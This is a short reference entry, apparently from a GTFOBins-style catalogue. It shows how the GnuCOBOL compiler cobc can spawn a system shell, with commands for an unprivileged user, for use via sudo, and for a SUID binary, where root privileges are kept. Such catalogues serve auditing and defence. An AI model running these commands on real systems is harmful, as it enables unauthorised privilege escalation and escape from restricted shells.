This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo 'CALL "SYSTEM" USING "/bin/sh".' >/path/to/temp-file
cobc -xFj --frelax-syntax-checks /path/to/temp-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo 'CALL "SYSTEM" USING "/bin/sh".' >/path/to/temp-file
cobc -xFj --frelax-syntax-checks /path/to/temp-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
echo 'CALL "SYSTEM" USING "/bin/sh".' >/path/to/temp-file
cobc -xFj --frelax-syntax-checks /path/to/temp-file